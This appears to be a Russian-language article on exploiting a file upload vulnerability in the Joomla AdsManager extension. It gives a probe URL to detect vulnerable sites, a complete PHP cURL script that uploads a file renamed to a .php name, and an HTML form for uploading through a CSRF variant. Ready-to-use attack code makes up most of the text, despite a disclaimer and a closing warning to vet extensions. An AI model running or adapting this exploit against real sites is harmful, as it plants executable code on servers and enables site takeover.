Рассмотрим более детально как происходит взлом сайтов через уязвимость в AdsManager. Внимание, данная статья не является пособием по взлому сайтов, она создана для изучения уязвимости!
Самый простой способ определить, есть ли потенциальная возможность для данной уязвимости, нам необходимо в строке браузера ввести:
nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component
И если нам выдаст результат:
{"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile" : "_1"}
то значит в папке tmp/plupload был создан файл _1.
Теперь изучим саму атаку.
<?php
$url = "http://nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component"; // Здесь мы вводим ссылку
$post = array
(
"file" => "@wot.jpg", // Здесь указываем файлы для загрузки
"name" => "wot.php" // Подменяем имя конечного файла
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data; // Отправляем данные POST-запросом и получаем результат
?>
# Еще вариант через CSRF уязвимость загрузить файл через форму:
<form method="POST" action="http://nameofsite.name/index.php?option=com_adsmanager&task=upload&tmpl=component"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
Вот и ничего сложного, взломать и первокласснику не составит труда, поэтому будьте бдительны в выборе расширений для Joomla, особенно в которых присутствует загрузка файлов!
И здесь подробно расписано, как избавиться от уязвимости в AdsManager